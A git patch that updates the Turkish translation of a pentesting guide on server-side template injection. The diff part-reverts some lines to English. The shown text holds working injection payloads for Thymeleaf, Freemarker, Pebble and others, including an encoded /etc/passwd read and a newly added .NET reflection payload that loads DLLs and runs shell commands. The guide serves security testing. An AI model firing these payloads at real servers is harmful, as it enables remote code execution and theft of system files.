From 90f441c83892d0851efc969ba2b19fe8b393cac6 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 21 Mar 2025 09:29:17 +0000 Subject: [PATCH] Translated ['src/pentesting-web/ssti-server-side-template-injection/READ --- .../README.md | 101 ++++++++++-------- 1 file changed, 59 insertions(+), 42 deletions(-) diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index 411dd8a04..348ba7387 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## SSTI Nedir (Server-Side Template Injection) +## SSTI Nedir (Sunucu Tarafı Şablon Enjeksiyonu) -Server tarafı şablon enjeksiyonu, bir saldırganın sunucuda yürütülen bir şablona kötü niyetli kod enjekte edebilmesi durumunda meydana gelen bir güvenlik açığıdır. Bu güvenlik açığı, Jinja da dahil olmak üzere çeşitli teknolojilerde bulunabilir. +Sunucu tarafı şablon enjeksiyonu, bir saldırganın sunucuda yürütülen bir şablona kötü niyetli kod enjekte edebilmesi durumunda ortaya çıkan bir güvenlik açığıdır. Bu güvenlik açığı, Jinja da dahil olmak üzere çeşitli teknolojilerde bulunabilir. Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanarak bir güvenlik açığına sahip kod parçasını gösteren bir örneği ele alalım: ```python @@ -16,34 +16,34 @@ Bu savunmasız kodda, kullanıcının isteğinden gelen `name` parametresi doğr ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -Payload `{{bad-stuff-here}}` `name` parametresine enjekte edilir. Bu payload, saldırganın yetkisiz kod çalıştırmasına veya şablon motorunu manipüle etmesine olanak tanıyan Jinja şablon direktiflerini içerebilir ve potansiyel olarak sunucu üzerinde kontrol kazanabilir. +The payload `{{bad-stuff-here}}` is injected into the `name` parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server. -Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için, geliştiricilerin kullanıcı girdisinin şablonlara eklenmeden önce düzgün bir şekilde temizlendiğinden ve doğrulandığından emin olmaları gerekir. Girdi doğrulaması uygulamak ve bağlama duyarlı kaçış teknikleri kullanmak, bu zafiyetin riskini azaltmaya yardımcı olabilir. +To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability. -### Tespit +### Detection -Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta **şablonu fuzzing** yapmak basit bir yaklaşımdır. Bu, şablona özel karakterlerin bir dizisini (**`${{<%[%'"}}%\`**) enjekte etmeyi ve sunucunun düzenli verilere karşı bu özel payload'a verdiği yanıtlar arasındaki farkları analiz etmeyi içerir. Zafiyet göstergeleri şunlardır: +To detect Server-Side Template Injection (SSTI), initially, **fuzzing the template** is a straightforward approach. This involves injecting a sequence of special characters (**`${{<%[%'"}}%\`**) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include: -- Zafiyeti ve potansiyel olarak şablon motorunu ortaya çıkaran hatalar. -- Yansıma içinde payload'un yokluğu veya bazı kısımlarının eksik olması, sunucunun bunu düzenli verilerden farklı işlediğini ima eder. -- **Düz Metin Bağlamı**: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS'ten ayırt edin (örneğin, `{{7*7}}`, `${7*7}`). -- **Kod Bağlamı**: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, `http://vulnerable-website.com/?greeting=data.username` içindeki `greeting` değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için `greeting=data.username}}hello` gibi bir yanıt alıp almadığını kontrol edin. +- Thrown errors, revealing the vulnerability and potentially the template engine. +- Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data. +- **Plaintext Context**: XSS'ten ayırt etmek için, sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol edin (örneğin, `{{7*7}}`, `${7*7}`). +- **Code Context**: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, `http://vulnerable-website.com/?greeting=data.username` içindeki `greeting` değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için, `greeting=data.username}}hello` gibi bir sonuç döndürüp döndürmediğine bakın. -#### Tanımlama Aşaması +#### Identification Phase -Şablon motorunu tanımlamak, hata mesajlarını analiz etmeyi veya çeşitli dil spesifik payload'ları manuel olarak test etmeyi içerir. Hatalara neden olan yaygın payload'lar `${7/0}`, `{{7/0}}` ve `<%= 7/0 %>` içerir. Matematiksel işlemlere sunucunun yanıtını gözlemlemek, belirli şablon motorunu belirlemeye yardımcı olur. +Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include `${7/0}`, `{{7/0}}`, and `<%= 7/0 %>`. Observing the server's response to mathematical operations helps pinpoint the specific template engine. -#### Payload'lar ile Tanımlama +#### Identification by payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

- Daha fazla bilgi için [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) -## Araçlar +## Tools ### [TInjA](https://github.com/Hackmanit/TInjA) -yenilikçi poliglotlar kullanan etkili bir SSTI + CSTI tarayıcısıdır. +etkili bir SSTI + CSTI tarayıcısıdır ve yeni poliglotlar kullanır. ```bash tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." @@ -68,7 +68,7 @@ en etkili şablon enjeksiyon poliglotlarını ve 44 en önemli şablon motorunun ### Genel -Bu **kelime listesinde** aşağıda belirtilen motorların bazı ortamlarında **tanımlı değişkenleri** bulabilirsiniz: +Bu **kelime listesinde** aşağıda belirtilen bazı motorların ortamlarında **tanımlı değişkenleri** bulabilirsiniz: - [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) - [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) @@ -112,7 +112,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI() ``` **Freemarker - Sandbox atlatma** -⚠️ yalnızca Freemarker 2.3.30'dan önceki sürümlerde çalışır +⚠️ yalnızca 2.3.30'dan önceki Freemarker sürümlerinde çalışır ```java <#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> @@ -150,7 +150,7 @@ $out.read() ``` **Daha fazla bilgi** -- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresindeki Velocity bölümünde +- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresindeki Velocity bölümü - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) ### Thymeleaf @@ -169,22 +169,22 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')} ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ``` -Thymeleaf, bu ifadelerin belirli nitelikler içinde yer almasını gerektirir. Ancak, _ifade iç içe geçirme_ diğer şablon konumları için desteklenir ve `[[...]]` veya `[(...)]` gibi sözdizimi kullanır. Bu nedenle, basit bir SSTI test yükü `[[${7*7}]]` gibi görünebilir. +Thymeleaf, bu ifadelerin belirli nitelikler içinde yer almasını gerektirir. Ancak, _ifade içe aktarma_ diğer şablon konumları için desteklenir ve `[[...]]` veya `[(...)]` gibi sözdizimi kullanır. Bu nedenle, basit bir SSTI test yükü `[[${7*7}]]` gibi görünebilir. Ancak, bu yükün çalışması olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiricilerin, şablonları anlık olarak dizelerden oluşturmak için kendi `TemplateResolver`'larını uygulamaları gerekir ki bu da yaygın değildir. -Thymeleaf ayrıca, çift alt çizgi (`__...__`) içindeki ifadelerin ön işleme tabi tutulduğu _ifade ön işleme_ sunar. Bu özellik, Thymeleaf'in belgelerinde gösterildiği gibi, ifadelerin inşasında kullanılabilir: +Thymeleaf ayrıca, çift alt çizgi (`__...__`) içindeki ifadelerin ön işleme tabi tutulduğu _ifade ön işleme_ sunar. Bu özellik, Thymeleaf'in belgelerinde gösterildiği gibi ifadelerin inşasında kullanılabilir: ```java #{selection.__${sel.code}__} ``` -**Thymeleaf'deki Zafiyet Örneği** +**Thymeleaf'deki Zayıflık Örneği** Aşağıdaki kod parçasını düşünün, bu istismara açık olabilir: ```xml ``` -Bu, şablon motorunun bu girdileri yanlış bir şekilde işlemesi durumunda, uzaktan kod yürütmeye yol açabileceğini gösterir ve şu URL'lere erişim sağlayabilir: +Bu, şablon motorunun bu girdileri yanlış işlemesi durumunda, uzaktan kod yürütmeye yol açabileceğini gösterir ve şu URL'lere erişim sağlayabilir: ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) @@ -205,7 +205,7 @@ el-expression-language.md Birden fazla değişken ifadesi kullanılabilir, eğer `${...}` çalışmıyorsa `#{...}`, `*{...}`, `@{...}` veya `~{...}` deneyin. -- `/etc/passwd` dosyasını oku +- `/etc/passwd` dosyasını okuyun ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` @@ -257,7 +257,7 @@ el-expression-language.md - `{{ someString.toUPPERCASE() }}` -Pebble'in eski versiyonu ( < version 3.0.9): +Pebble'ın eski versiyonu ( < version 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` @@ -289,7 +289,7 @@ Yeni Pebble sürümü: {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 ``` -Jinjava, Hubspot tarafından geliştirilen açık kaynak bir projedir, [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) adresinde mevcuttur. +Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) adresinde mevcuttur. **Jinjava - Komut yürütme** @@ -372,10 +372,10 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc - `${{7*7}}` - 49 - `${{request}}, ${{session}}, {{faceContext}}` -İfade Dili (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi kolaylaştırmak için birden fazla JavaEE teknolojisinde yaygın olarak kullanılır. EL'yi kullanan ana JavaEE teknolojileri şunlardır: +İfade Dili (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi kolaylaştırmak için birden fazla JavaEE teknolojisinde yaygın olarak kullanılmaktadır. EL'yi kullanan ana JavaEE teknolojileri şunlardır: -- **JavaServer Faces (JSF)**: JSF sayfalarındaki bileşenleri ilgili arka uç verileri ve eylemleri ile bağlamak için EL kullanır. -- **JavaServer Pages (JSP)**: JSP sayfalarında verileri erişmek ve manipüle etmek için EL kullanılır, bu da sayfa öğelerini uygulama verileri ile bağlamayı kolaylaştırır. +- **JavaServer Faces (JSF)**: JSF sayfalarındaki bileşenleri ilgili arka uç verilerine ve eylemlerine bağlamak için EL kullanır. +- **JavaServer Pages (JSP)**: JSP sayfalarında verileri erişmek ve manipüle etmek için EL kullanılır, bu da sayfa öğelerini uygulama verilerine bağlamayı kolaylaştırır. - **Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI)**: EL, web katmanı ile yönetilen bean'ler arasında kesintisiz etkileşimi sağlamak için CDI ile entegre olur, böylece daha tutarlı bir uygulama yapısı sağlar. **EL yorumlayıcılarının** istismarını öğrenmek için aşağıdaki sayfayı kontrol edin: @@ -429,8 +429,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1 ``` **Daha fazla bilgi** -- Smarty bölümü için [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) +- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresindeki Smarty bölümü +- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) @@ -476,7 +476,7 @@ array("first_name" => $user.first_name) ``` **Daha fazla bilgi** -- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresindeki Twig ve Twig (Sandboxed) bölümü +- Twig ve Twig (Sandboxed) bölümü için [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) @@ -515,7 +515,7 @@ Düzen şablonu: ### PHPlib ve HTML_Template_PHPLIB (PHP) -[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) PHPlib ile aynıdır ancak Pear'a taşınmıştır. +[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB), PHPlib ile aynı ancak Pear'a taşınmıştır. `authors.tpl` ```html @@ -606,12 +606,12 @@ echo $t->finish($t->parse('OUT', 'authors')); ``` **Daha fazla bilgi** -- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresindeki Jade bölümü -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) +- Jade bölümünde [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) +- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) ### patTemplate (PHP) -> [patTemplate](https://github.com/wernerwa/pat-template) derlenmeyen PHP şablon motorudur ve bir belgeyi farklı parçalara ayırmak için XML etiketleri kullanır. +> [patTemplate](https://github.com/wernerwa/pat-template) derlenmeyen PHP şablon motorudur, bir belgeyi farklı parçalara ayırmak için XML etiketleri kullanır. ```xml This is the main page. @@ -668,8 +668,8 @@ URLencoded: | **Şablon** | **Açıklama** | |------------|---------------------------------------| -| | Çıktıyı değerlendirin ve render edin | -| | HTML kodlu çıktıyı değerlendirin ve render edin | +| | Çıktıyı değerlendir ve render et | +| | HTML kodlu çıktıyı değerlendir ve render et | | | Yorum | | ve | Koda izin ver (varsayılan olarak devre dışı) | @@ -928,6 +928,23 @@ ${x} - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp) +### .Net Kısıtlamalarını Aşma + +.NET Yansıma mekanizmaları, kara listeye alma veya sınıfların derlemede mevcut olmamasını aşmak için kullanılabilir. DLL'ler, temel nesnelerden erişilebilen yöntemler ve özelliklerle çalışma zamanında yüklenebilir. + +Dll'ler şu şekilde yüklenebilir: + +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - dosya sisteminden. +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - doğrudan istekten. + +Tam komut yürütme: +``` +{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))} +``` +**Daha Fazla Bilgi** + +- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/) + ### Mojolicious (Perl) Perl olmasına rağmen, Ruby'deki ERB gibi etiketler kullanır. @@ -942,7 +959,7 @@ Perl olmasına rağmen, Ruby'deki ERB gibi etiketler kullanır. Go'nun şablon motorunda, kullanımının doğrulanması belirli yüklerle yapılabilir: -- `{{ . }}`: Veri yapısı girdisini açığa çıkarır. Örneğin, bir `Password` niteliğine sahip bir nesne geçilirse, `{{ .Password }}` bunu açığa çıkarabilir. +- `{{ . }}`: Veri yapısı girdisini açığa çıkarır. Örneğin, bir `Password` niteliğine sahip bir nesne geçirilirse, `{{ .Password }}` bunu açığa çıkarabilir. - `{{printf "%s" "ssti" }}`: "ssti" dizesini göstermesi beklenir. - `{{html "ssti"}}`, `{{js "ssti"}}`: Bu yükler "html" veya "js" eklemeden "ssti" döndürmelidir. Daha fazla yönerge Go belgelerinde [burada](https://golang.org/pkg/text/template) incelenebilir. @@ -956,9 +973,9 @@ vbnet Copy code **RCE Exploitation** -RCE istismarı `html/template` ve `text/template` arasında önemli ölçüde farklılık gösterir. `text/template` modülü, herhangi bir genel işlevi doğrudan çağırmaya izin verir ( “call” değeri kullanarak), bu `html/template`'de izin verilmez. Bu modüller için belgeler [html/template için burada](https://golang.org/pkg/html/template/) ve [text/template için burada](https://golang.org/pkg/text/template/) mevcuttur. +RCE istismarı `html/template` ve `text/template` arasında önemli ölçüde farklılık gösterir. `text/template` modülü, herhangi bir kamu fonksiyonunu doğrudan çağırmaya izin verir ( “call” değeri kullanılarak), bu `html/template`'de izin verilmez. Bu modüller için belgeler [html/template için burada](https://golang.org/pkg/html/template/) ve [text/template için burada](https://golang.org/pkg/text/template/) mevcuttur. -Go'da SSTI aracılığıyla RCE için, nesne yöntemleri çağrılabilir. Örneğin, sağlanan nesne komutları yürüten bir `System` yöntemine sahipse, `{{ .System "ls" }}` gibi istismar edilebilir. Bunu istismar etmek için genellikle kaynak koduna erişim gereklidir, verilen örnekte olduğu gibi: +Go'da SSTI aracılığıyla RCE için, nesne yöntemleri çağrılabilir. Örneğin, sağlanan nesne komutları çalıştıran bir `System` yöntemine sahipse, `{{ .System "ls" }}` gibi istismar edilebilir. Bunu istismar etmek için genellikle kaynak koduna erişim gereklidir, verilen örnekte olduğu gibi: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() @@ -970,9 +987,9 @@ return string(out) - [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to) - [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) -### Daha Fazla İstismar +### Daha Fazla Sömürü -Daha fazla istismar için [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kısmını kontrol edin. Ayrıca [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) adresinde ilginç etiket bilgileri bulabilirsiniz. +Daha fazla sömürü için [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kısmını kontrol edin. Ayrıca [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) adresinde ilginç etiket bilgileri bulabilirsiniz. ## BlackHat PDF